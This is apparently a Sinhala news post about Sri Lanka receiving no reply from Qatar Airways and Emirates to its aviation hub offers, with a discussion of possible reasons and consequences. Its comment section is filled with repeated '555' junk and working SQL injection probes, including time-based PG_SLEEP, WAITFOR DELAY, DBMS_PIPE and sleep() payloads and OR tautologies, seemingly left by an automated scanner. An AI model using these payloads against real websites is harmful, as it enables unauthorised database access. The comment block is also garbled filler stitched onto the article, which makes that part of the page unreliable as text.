ශ්රී ලංකාව, සිය ගුවන් ධාවන පථ (hub) අත්දැකීම් පුළුල් කිරීමේ අරමුණින් කටාර් එයාර්වේස් (Qatar Airways) සහ එමිරේට්ස් (Emirates) යන ප්රමුඛ ගුවන් සේවා සමාගම් වෙත ඉදිරිපත් කළ දීමනා සම්බන්ධයෙන් මෙතෙක් කිසිදු පිළිතුරක් ලැබී නොමැති බව වාර්තා වේ. මෙම තත්ත්වය, ශ්රී ලංකාවේ ගුවන් සේවා අංශයේ අනාගත සැලසුම් පිළිබඳව විශාල ප්රශ්නාර්ථයක් මතු කරයි.
ගුවන් ධාවන පථ දීමනාව - පසුබිම
ශ්රී ලංකාව, තම ගුවන් ධාවන පථ තත්ත්වය ශක්තිමත් කරමින්, කලාපීය මෙන්ම ජාත්යන්තර මගී සහ භාණ්ඩ ප්රවාහනය සඳහා ප්රමුඛ මධ්යස්ථානයක් බවට පත් කිරීමේ අභිලාෂයෙන් මෙම දීමනා ඉදිරිපත් කර ඇත. කටාර් සහ එමිරේට්ස්, ලොව පිළිගත් සුපිරි ගුවන් සේවා සමාගම් වන අතර, ඔවුන්ගේ සහයෝගය ශ්රී ලංකාවේ ගුවන් සේවා අංශයට විශාල දිරිගැන්වීමක් වනු ඇත.
අඛණ්ඩ නිහඬතාවයේ හේතු?
මෙම වැදගත් දීමනාවලට සමාගම් වෙතින් කිසිදු ප්රතිචාරයක් නොලැබීමට හේතු කිහිපයක් විය හැකිය.:
- වර්තමාන ගෝලීය ගුවන් සේවා තත්ත්වය: වසංගත තත්ත්වය සහ පවතින ආර්ථික අභියෝග හේතුවෙන් ගෝලීය ගුවන් සේවා අංශය තවමත් යථා තත්ත්වයට පත්වෙමින් පවතී. මෙම සමාගම් සිය මෙහෙයුම් සහ අනාගත සැලසුම් පිළිබඳව අතිශයින්ම කල්පනාකාරීව කටයුතු කරනු ඇත.
- ව්යාපාරික උපාය මාර්ග: කටාර් සහ එමිරේට්ස්, තමන්ගේම ගෝලීය ජාලය සහ ධාරිතාව පිළිබඳව දැඩි සැලසුම් ඇත. ශ්රී ලංකාව සමඟ හවුල්කාරීත්වයක් ඇති කරගැනීම ඔවුන්ගේ වත්මන් උපාය මාර්ග සමඟ ගැළපේද යන්න ඔවුන් විසින් අනුමාන කරනු ඇත.
- සන්නිවේදන බාධාවන්: සමහර විට, ශ්රී ලංකාවේ බලධාරීන් වෙතින් ලැබෙන තොරතුරු නිසි පරිදි ගුවන් සමාගම් වෙත ළඟා වී නොමැති වීමට හෝ ආයතනික මට්ටමින් සන්නිවේදන බාධාවන් ඇති වීමට ද ඉඩ තිබේ.
ශ්රී ලංකාවේ ගුවන් සේවා අංශයට බලපෑම
ශ්රී ලංකාවේ ගුවන් ධාවන පථ (hub) සංවර්ධනය සඳහා මෙම දීමනා ඉතා වැදගත් විය. මෙම සමාගම්වල සහයෝගය නොලැබුණහොත්, ශ්රී ලංකාවට සිය ගුවන් සේවා අංශයේ අනාගතය පිළිබඳව විකල්ප මාර්ග සෙවීමට සිදුවනු ඇත. මෙය සංචාරක කර්මාන්තය, වෙළඳාම සහ ආයෝජන කෙරෙහි ද සෘජුවම බලපෑම් එල්ල කළ හැකිය.
ඊළඟ පියවර කුමක්ද?
ශ්රී ලංකාවේ ගුවන් සේවා බලධාරීන් මෙම තත්ත්වය පිළිබඳව අඛණ්ඩව කටයුතු කරනු ඇතැයි අපේක්ෂා කෙරේ. මෙම සමාගම් වෙතින් පිළිතුරක් ලබා ගැනීම සඳහා වැඩිදුර උත්සාහයන් දැරීම, නැතහොත් වෙනත් ජාත්යන්තර ගුවන් සේවා සමඟ සාකච්ඡා ආරම්භ කිරීම වැනි පියවර අනුගමනය කළ හැකිය.
#SriLanka #QatarAirways #Emirates #Aviation #Hub #SriLankanAirlines #InternationalTravel #BusinessNews
For more details on the ongoing situation, you can refer to ch-aviation's reports: [Link Here]
Leave a comment
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@3L5c8
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555-1)) OR 591=(SELECT 591 FROM PG_SLEEP(15))--
555LlwGt0Iz' OR 152=(SELECT 152 FROM PG_SLEEP(15))--
55556ayipJq') OR 513=(SELECT 513 FROM PG_SLEEP(15))--
555d3J7ke8u')) OR 673=(SELECT 673 FROM PG_SLEEP(15))--
555-1 waitfor delay '0:0:15' --
555SCQuoKIL'; waitfor delay '0:0:15' --
555-1 OR 234=(SELECT 234 FROM PG_SLEEP(15))--
555-1) OR 242=(SELECT 242 FROM PG_SLEEP(15))--
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
-1' OR 2+798-798-1=0+0+0+1 or 'Eb0LKCw0'='
-1" OR 2+634-634-1=0+0+0+1 --
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
-1 OR 2+413-413-1=0+0+0+1 --
-1 OR 2+941-941-1=0+0+0+1
-1' OR 2+383-383-1=0+0+0+1 --
555
555
555
555iUCylk1Q
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555